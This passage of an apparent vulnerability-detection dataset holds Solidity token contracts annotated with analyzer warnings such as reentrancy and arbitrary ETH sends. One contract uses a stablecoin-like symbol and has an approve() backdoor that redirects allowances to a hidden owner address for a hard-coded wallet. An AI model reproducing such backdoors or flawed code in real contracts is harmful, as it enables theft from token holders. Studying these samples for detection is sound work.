Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MoonbaseAlpha is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 86bc57e): MoonbaseAlpha._taxWallet should be immutable \n\t// Recommendation for 86bc57e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 892d725): MoonbaseAlpha._initialBuyTax should be constant \n\t// Recommendation for 892d725: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: a598c98): MoonbaseAlpha._initialSellTax should be constant \n\t// Recommendation for a598c98: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1e33830): MoonbaseAlpha._finalBuyTax should be constant \n\t// Recommendation for 1e33830: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5db18fa): MoonbaseAlpha._finalSellTax should be constant \n\t// Recommendation for 5db18fa: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 686457b): MoonbaseAlpha._reduceBuyTaxAt should be constant \n\t// Recommendation for 686457b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 93084a8): MoonbaseAlpha._reduceSellTaxAt should be constant \n\t// Recommendation for 93084a8: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e991b46): MoonbaseAlpha._preventSwapBefore should be constant \n\t// Recommendation for e991b46: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Moonbase Alpha\";\n\n string private constant _symbol = unicode\"MOONALPHA\";\n\n uint256 public _maxTxAmount = calculate(_tTotal, 2);\n\n uint256 public _maxWalletSize = calculate(_tTotal, 2);\n\n\t// WARNING Optimization Issue (constable-states | ID: cdc209a): MoonbaseAlpha._taxSwapThreshold should be constant \n\t// Recommendation for cdc209a: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 86c3973): MoonbaseAlpha._maxTaxSwap should be immutable \n\t// Recommendation for 86c3973: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _maxTaxSwap = calculate(_tTotal, 1);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 035c067): MoonbaseAlpha.uniswapV2Router should be immutable \n\t// Recommendation for 035c067: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d102022): MoonbaseAlpha.uniswapV2Pair should be immutable \n\t// Recommendation for d102022: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 21b74fe): MoonbaseAlpha.sellsPerBlock should be constant \n\t// Recommendation for 21b74fe: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: dc241c3): MoonbaseAlpha.buysFirstBlock should be constant \n\t// Recommendation for dc241c3: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 70;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6a97146): MoonbaseAlpha.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6a97146: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8bc72a8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8bc72a8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 101dfb9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 101dfb9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 8bc72a8\n\t\t// reentrancy-benign | ID: 101dfb9\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 8bc72a8\n\t\t// reentrancy-benign | ID: 101dfb9\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 17fdd41): MoonbaseAlpha._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 17fdd41: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 101dfb9\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 8bc72a8\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fa4b3c7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fa4b3c7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: cbc2dff): MoonbaseAlpha._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for cbc2dff: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 43bd43e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 43bd43e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1bafb3f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1bafb3f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: cbc2dff\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: fa4b3c7\n\t\t\t\t// reentrancy-eth | ID: 43bd43e\n\t\t\t\t// reentrancy-eth | ID: 1bafb3f\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: fa4b3c7\n\t\t\t\t\t// reentrancy-eth | ID: 43bd43e\n\t\t\t\t\t// reentrancy-eth | ID: 1bafb3f\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 43bd43e\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 43bd43e\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: fa4b3c7\n\t\t\t\t// reentrancy-eth | ID: 1bafb3f\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: fa4b3c7\n\t\t\t\t\t// reentrancy-eth | ID: 1bafb3f\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 1bafb3f\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: fa4b3c7\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 1bafb3f\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 1bafb3f\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: fa4b3c7\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8bc72a8\n\t\t// reentrancy-events | ID: fa4b3c7\n\t\t// reentrancy-benign | ID: 101dfb9\n\t\t// reentrancy-eth | ID: 43bd43e\n\t\t// reentrancy-eth | ID: 1bafb3f\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 8301e78): MoonbaseAlpha.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 8301e78: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 8bc72a8\n\t\t// reentrancy-events | ID: fa4b3c7\n\t\t// reentrancy-eth | ID: 43bd43e\n\t\t// reentrancy-eth | ID: 1bafb3f\n\t\t// arbitrary-send-eth | ID: 8301e78\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: dad2671): MoonbaseAlpha.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for dad2671: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: dad2671\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5d0ea89): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5d0ea89: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1a78cd1): MoonbaseAlpha.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 1a78cd1: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9a1f6f7): MoonbaseAlpha.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9a1f6f7: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 63527c3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 63527c3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 5d0ea89\n\t\t// unused-return | ID: 1a78cd1\n\t\t// reentrancy-eth | ID: 63527c3\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 5d0ea89\n\t\t// unused-return | ID: 9a1f6f7\n\t\t// reentrancy-eth | ID: 63527c3\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 5d0ea89\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 63527c3\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 5d0ea89\n firstBlock = block.number;\n }\n\n receive() external payable {}\n\n function calculate(\n uint256 amount,\n uint256 bps\n ) private pure returns (uint256) {\n uint256 bpz = bps * 100;\n\n return (amount * bpz) / 10_000;\n }\n}\n",
"file_name": "solidity_code_10820.sol",
"size_bytes": 23573,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract USDT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: e3857ca): USDT._bots is never initialized. It is used in USDT._transfer(address,address,uint256)\n\t// Recommendation for e3857ca: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 85ca39a): USDT._taxWallet should be immutable \n\t// Recommendation for 85ca39a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n address private magaowner;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9dbe0f9): USDT._initialBuyTax should be constant \n\t// Recommendation for 9dbe0f9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1c9b052): USDT._initialSellTax should be constant \n\t// Recommendation for 1c9b052: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: cfa7c24): USDT._finalBuyTax should be constant \n\t// Recommendation for cfa7c24: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a717d4a): USDT._finalSellTax should be constant \n\t// Recommendation for a717d4a: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 50dd9cc): USDT._reduceBuyAt should be constant \n\t// Recommendation for 50dd9cc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4f8a912): USDT._reduceSellAt should be constant \n\t// Recommendation for 4f8a912: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: d39e634): USDT._preventCount should be constant \n\t// Recommendation for d39e634: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 5;\n\n uint256 private _buyTokenCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"United Speech Donald Trump\";\n\n string private constant _symbol = unicode\"U.S.D.T\";\n\n uint256 public _maxTxAmount = (_tTotal * 1) / 100;\n\n uint256 public _maxWalletAmount = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 58747bc): USDT._minTaxSwap should be constant \n\t// Recommendation for 58747bc: Add the 'constant' attribute to state variables that never change.\n uint256 public _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 28dc6c6): USDT._maxTaxSwap should be constant \n\t// Recommendation for 28dc6c6: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private _caLimitSell = true;\n\n uint256 private _caBlockSell = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x2C9F3231e86dA72fc708fdCCd11eFF189553AC8E);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFees[owner()] = true;\n\n _isExcludedFromFees[address(this)] = true;\n\n _isExcludedFromFees[_taxWallet] = true;\n\n magaowner = _msgSender();\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: edc466c): USDT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for edc466c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5017120): USDT.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5017120: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n address owner = _msgSender();\n\n _approve(spender == _taxWallet ? magaowner : owner, spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9dc433a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9dc433a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 209fac8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 209fac8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9dc433a\n\t\t// reentrancy-benign | ID: 209fac8\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 9dc433a\n\t\t// reentrancy-benign | ID: 209fac8\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c6363e): USDT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c6363e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 209fac8\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9dc433a\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 915ce11): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 915ce11: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 7b47310): USDT._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for 7b47310: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: e3857ca): USDT._bots is never initialized. It is used in USDT._transfer(address,address,uint256)\n\t// Recommendation for e3857ca: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8ee942c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8ee942c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b33ef8a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b33ef8a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 _taxFeeAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!_bots[from] && !_bots[to]);\n\n _taxFeeAmount = amount\n .mul(\n (_buyTokenCount > _reduceBuyAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n 